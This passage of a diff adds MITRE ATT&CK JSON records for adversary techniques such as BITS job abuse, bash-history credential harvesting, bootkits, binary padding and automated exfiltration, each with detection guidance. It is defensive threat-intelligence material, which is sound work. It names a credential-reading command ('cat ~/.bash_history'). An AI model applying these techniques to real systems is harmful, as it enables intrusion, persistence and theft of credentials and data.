"source_name": "mitre-attack" + }, + { + "source_name": "MSDN Authentication Packages", + "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Automated Collection", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1119", + "external_id": "T1119", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution", + "Script: Script Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-31T22:18:43.019Z", + "x_mitre_system_requirements": [ + "Permissions to access directories and files that store information of interest." + ], + "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created": "2017-05-31T21:31:27.985Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Automated Exfiltration", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1020", + "external_id": "T1020", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Script: Script Execution", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access" + ], + "x_mitre_version": "1.2", + "modified": "2021-08-16T15:23:38.940Z", + "created": "2017-05-31T21:30:29.458Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", + "x_mitre_contributors": [ + "ExtraHop" + ], + "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2021-04-13T21:36:04.956Z", + "name": "BITS Jobs", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Service: Service Metadata", + "Command: Command Execution" + ], + "x_mitre_version": "1.2", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "x_mitre_defense_bypassed": [ + "Firewall", + "Host forensic analysis" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Brent Murphy, Elastic", + "David French, Elastic", + "Ricardo Dias", + "Red Canary" + ], + "x_mitre_detection": "BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1197", + "external_id": "T1197", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft COM", + "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx" + }, + { + "source_name": "Microsoft BITS", + "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx" + }, + { + "source_name": "Microsoft BITSAdmin", + "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/aa362813.aspx" + }, + { + "source_name": "CTU BITS Malware June 2016", + "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.", + "url": "https://www.secureworks.com/blog/malware-lingers-with-bits" + }, + { + "source_name": "Mondok Windows PiggyBack BITS May 2007", + "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/" + }, + { + "source_name": "Symantec BITS May 2007", + "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.", + "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update" + }, + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + }, + { + "source_name": "Microsoft Issues with BITS July 2011", + "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.", + "url": "https://technet.microsoft.com/library/dd939934.aspx" + }, + { + "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1", + "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.", + "source_name": "Elastic - Hunting for Persistence Part 1" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-04T13:03:03.354Z", + "name": "Bash History", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1139", + "external_id": "T1139", + "source_name": "mitre-attack" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", + "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Bash History", + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-02-07T20:48:49.878Z", + "created": "2020-02-04T13:02:11.685Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3", + "description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1552/003", + "external_id": "T1552.003", + "source_name": "mitre-attack" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", + "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-26T23:15:47.861Z", + "name": "Bidirectional Communication", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.0", + "created": "2020-03-14T22:34:03.024Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1102/002", + "external_id": "T1102.002", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-09-17T18:25:33.796Z", + "name": "Binary Padding", + "created": "2017-05-31T21:30:22.096Z", + "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1009", + "external_id": "T1009", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/572.html", + "external_id": "CAPEC-572", + "source_name": "capec" + }, + { + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "source_name": "ESET OceanLotus" + }, + { + "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/", + "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.", + "source_name": "Securelist Malware Tricks April 2017" + }, + { + "url": "https://www.virustotal.com/en/faq/", + "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.", + "source_name": "VirusTotal FAQ" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Binary Padding", + "x_mitre_data_sources": [ + "File: File Metadata" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-15T13:53:02.135Z", + "created": "2020-02-05T14:04:25.865Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Signature-based detection" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ", + "x_mitre_contributors": [ + "Martin Jirkal, ESET" + ], + "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1027/001", + "external_id": "T1027.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/572.html", + "external_id": "CAPEC-572", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/655.html", + "external_id": "CAPEC-655", + "source_name": "capec" + }, + { + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "source_name": "ESET OceanLotus" + }, + { + "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/", + "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.", + "source_name": "Securelist Malware Tricks April 2017" + }, + { + "url": "https://www.virustotal.com/en/faq/", + "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.", + "source_name": "VirusTotal FAQ" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Boot or Logon Autostart Execution", + "x_mitre_data_sources": [ + "File: File Creation", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Modification", + "Command: Command Execution", + "Process: Process Creation", + "Module: Module Load", + "Kernel: Kernel Module Load", + "Driver: Driver Load", + "Process: OS API Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-19T04:03:47.056Z", + "created": "2020-01-23T17:46:59.535Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)\u00a0 These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547", + "external_id": "T1547", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/564.html", + "external_id": "CAPEC-564", + "source_name": "capec" + }, + { + "source_name": "Microsoft Run Key", + "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/aa376977" + }, + { + "source_name": "MSDN Authentication Packages", + "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx" + }, + { + "source_name": "Microsoft TimeProvider", + "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx" + }, + { + "source_name": "Cylance Reg Persistence Sept 2013", + "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.", + "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order" + }, + { + "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", + "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", + "source_name": "Linux Kernel Programming" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Boot or Logon Initialization Scripts", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Creation", + "Process: Process Creation", + "Command: Command Execution", + "Active Directory: Active Directory Object Modification", + "File: File Creation", + "File: File Modification" + ], + "x_mitre_version": "2.1", + "modified": "2021-04-27T19:58:02.332Z", + "created": "2017-05-31T21:30:38.910Z", + "x_mitre_platforms": [ + "macOS", + "Windows", + "Linux" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", + "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1037", + "external_id": "T1037", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/564.html", + "external_id": "CAPEC-564", + "source_name": "capec" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-20T19:53:25.628Z", + "name": "Bootkit", + "created": "2017-05-31T21:30:54.661Z", + "id": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1067", + "external_id": "T1067", + "source_name": "mitre-attack" + }, + { + "source_name": "MTrends 2016", + "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf" + }, + { + "source_name": "Lau 2011", + "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.", + "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Bootkit", + "x_mitre_data_sources": [ + "Drive: Drive Modification" + ], + "x_mitre_version": "1.1", + "modified": "2020-09-17T19:47:14.338Z", + "created": "2019-12-19T21:05:38.123Z", + "id": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba", + "x_mitre_defense_bypassed": [ + "Host intrusion prevention systems", + "Anti-virus", + "File monitoring" + ], + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1542/003", + "external_id": "T1542.003", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/552.html", + "external_id": "CAPEC-552", + "source_name": "capec" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf", + "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.", + "source_name": "Mandiant M Trends 2016" + }, + { + "source_name": "Lau 2011", + "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.", + "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Botnet", + "x_mitre_version": "1.0", + "modified": "2021-04-15T02:49:14.664Z", + "created": "2020-10-01T00:49:05.467Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074", + "description": "Adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1583/005", + "external_id": "T1583.005", + "source_name": "mitre-attack" + }, + { + "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html", + "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.", + "source_name": "Norton Botnet" + }, + { + "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/", + "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.", + "source_name": "Imperva DDoS for Hire" + }, + { + "url": "https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/", + "description": "Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.", + "source_name": "Krebs-Anna" + }, + { + "url": "https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/", + "description": "Brian Krebs. (2016, October 31). Hackforums Shutters Booter 